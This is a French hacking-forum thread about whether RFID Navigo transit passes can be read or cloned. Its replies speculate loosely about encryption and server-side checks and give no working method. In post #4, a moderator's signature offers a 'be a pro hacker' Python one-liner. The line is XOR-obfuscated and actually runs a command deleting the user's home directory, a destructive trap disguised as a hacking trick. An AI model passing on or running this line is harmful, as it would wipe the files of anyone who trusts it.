Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 14-02-2013 01:31:58

curieuxdu92
N00b
Inscription : 14-02-2013
Messages : 3

pass navigo

Bonsoir à tous,
Je suis heureux de faire partie de la communauté crack-wifi. Je ne doute pas un seul instant que les échanges que nous aurons seront constructifs et qu'ils se traduiront par une parfaite symbiose.
Depuis quelques jours, il est une question qui me tourneboule l'esprit. Elle concerne les pass navigo utilisés dans les transports en commun en île de france. Ces cartes utilisent la technologie rfid qui, comme tout le monde le sait, est loin d'être sécurisée eu égard aux nombreuses failles débusquées ça et là depuis son apparition.Et je subodore qu'il est tout à fait possible d’accéder via un lecteur adéquat aux informations de la carte navigo et partant, de la cloner. Qu'en pensez-vous?
Je précise que l’intérêt de mon propos est , si je puis dire,purement scientifique. Loin de moi l'idée de cloner un pass navigo pour l'utiliser sur le réseau ratp. Je me déplace d'ailleurs en voiture depuis plusieurs  années et c'est tant mieux!J'aimerais juste savoir si j'ai raison de penser que les pass navigo sont clonables. Je vous remercie d'avance pour vos réponses.

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 15-02-2013 15:22:27

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : pass navigo

Salut !

Je n'ai pas entendu parler d'exploits (ni même de tests) de ce côté-là, si c'était faisable facilement je pense qu'on serait au courant smile

En théorie oui, si c'est lisible c'est clonable, mais le RFID n'est pas ma spécialité. Et s'il y a une partie de cryptographie au milieu du processus, ça complique la récupération. Genre si c'est la borne qui envoie une clé au tag pour déchiffrer son contenu, il faut que ton lecteur à toi puisse envoyer la même clé. Bref, je doute que ce soit aussi "évident" mais tu peux toujours contacter Renaud Lifchitz pour lui poser la question wink

En même temps, un lecteur RFID USB ça coûte $20 sur DealExtreme, rien ne t'empêche de faire tes tests à la maison smile

Hors Ligne

#3 15-02-2013 21:30:02

curieuxdu92
N00b
Inscription : 14-02-2013
Messages : 3

Re : pass navigo

Mon cher antares,
je te suis bien obligé de m'avoir répondu. Il est vrai qu'il me tardait d'avoir une réaction depuis que j'ai ouvert cette discussion et la lumière est enfin venue de toi antares. Merci de m'avoir tiré de ma nuit lol.
j'ai fait quelques recherches sur internet et je suis tombé sur cet article qui montre à quel point il est aisé de lire le contenu caché d'un pass navigo:lire le contenu caché d'une carte navigo
Il y'a aussi d'autres moyens de lire ledit pass mais celui-ci est assez simple à mon avis. Et comme tu l'as si bien dit antares: si c'est lisible, c'est, en théorie, clonable. Il ne reste plus qu'à pousser les recherches un peu plus loin.:D

Hors Ligne

#4 16-02-2013 21:52:06

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 012

Re : pass navigo

Une chose est sûre, tu ne pourras pas recharger ton passe en bidouillant ta carte, ton compte est dans leurs serveurs.
Peut être qu'un token caché t'empêche de copier celle du type qui a ton numéro - 1.
Tu m'as donné envie d'essayer tiens (:


@582a1cb9 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#5 16-02-2013 22:16:54

curieuxdu92
N00b
Inscription : 14-02-2013
Messages : 3

Re : pass navigo

C cool spawn, on sera deux à essayer alors big_smile.N'oublie pas de nous faire part du résultat. Pour ma part, dès que je trouve quelque chose, je vous mettrai au parfum.

Hors Ligne

#6 05-03-2013 11:03:52

Kris71
N00b
Inscription : 04-03-2013
Messages : 1

Re : pass navigo

Salut tous le monde.
Je me suis inscrit à ce forum parce que moi aussi je me demande comment marche mon pass Navigo et quelles informations sont stocké dessus (est-ce qu'on est tracké ou pas).

Personnellement je pense pas que l'information "abonné ou pas" soit stocké seulement sur leur serveur, pour la simple et bonne raison que les bus ne sont surement pas connecté à un quelconque réseau leur permettant de checker à chaque validation... Mais peut être que je me trompe.

D'autre part je pense que les informations sensible sont surement chiffré car la RATP vend des lecteurs/Programmeur pour leur pass Navigo maintenant. (Il est interessant de noter que ces lecteurs sont achetable seulement par CB et qu'il flash un code-bar avant de vous le donnée. (association serial number <-> CB ???)

Bref je suis avec intérêt le sujet et si j'ai des infos, je vous tiens au courant.

Hors Ligne

#7 29-01-2017 22:24:04

le dirdir
Membre d'Or
Inscription : 09-03-2013
Messages : 369

Re : pass navigo

Salut,

Kris71 a écrit :

Personnellement je pense pas que l'information "abonné ou pas" soit stocké seulement sur leur serveur,

C'est pourtant ce que m'a dit un employé de la RATP.

Kris71 a écrit :

pour la simple et bonne raison que les bus ne sont surement pas connecté à un quelconque réseau leur permettant de checker à chaque validation...

Oui, aussi.

De deux choses l'une.

Soit mon pote s'est planté.

Soit les bus sont connecté à un réseau sans fil. Dans ce cas ils doivent avoir prévu une astuce, pour les inévitables coupures.

Kris71 a écrit :

les informations sensible sont sûrement chiffré

Des qu'il s'agit d'un déploiement massif, les «gestionnaires» privilégient toujours le coût, pas la sécurité.

Kris71 a écrit :

la RATP vend des lecteurs/Programmeur pour leur pass Navigo maintenant. (Il est interessant de noter que ces lecteurs sont achetable seulement par CB et qu'il flash un code-bar avant de vous le donnée. (association serial number <-> CB ???)

Apparemment, ce sont des lecteurs de carte à puce standards.

Dernière modification par le dirdir (29-01-2017 22:25:14)


Tant vaut l'antenne, tant vaut le poste

Hors Ligne

#8 30-01-2017 00:42:25

flatounet
Membre d'Or
Inscription : 05-03-2010
Messages : 309

Re : pass navigo

moi je pense le contraire ,
il ne m’étonnerai pas que chaque véhicule soit connecté à leur réseau interne ,
relève le compostage de chaque pass

( rien qu'a voir le coup des abo mobile ,cela ne m’étonnerai pas qu'il ai
un arrangement ou leur propre réseau à ce niveau là ,
il y à bien les bus qui sont localisé part GPS ,hors le gps ne fait que recevoir
donc il doit bien avoir un retour du bus au central ,et relay l'estimation à chaque arret .... )

donc ,soyons optimiste ,tu arrive à dupliqué ta carte 
tu le composte à l'est de paris et demande à un amis de composté le sien
à l'opposé de paris ,cela va surement passer sur le moment

mais à mon avis sur le central ,je ne serai pas surpris qu'il y est un controle
et le fait de composté le même ticket à deux endroit trop vite donne un conflit
et un contrôle ...
( ils vont surement t’envoyé une nouvelle carte à ton domicile et désactivé l’ancienne ... )

Dernière modification par flatounet (30-01-2017 00:50:55)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
14 14710 05-10-2015 13:44:46 par BobX64
3 1982 30-08-2014 13:56:29 par M1ck3y
3 2455 08-03-2014 17:44:40 par exomaroc
1 1253 28-07-2013 22:56:09 par kcdtv
mot de pass phrase par bonke
3 1344 26-12-2012 21:03:40 par antares145

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.026 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]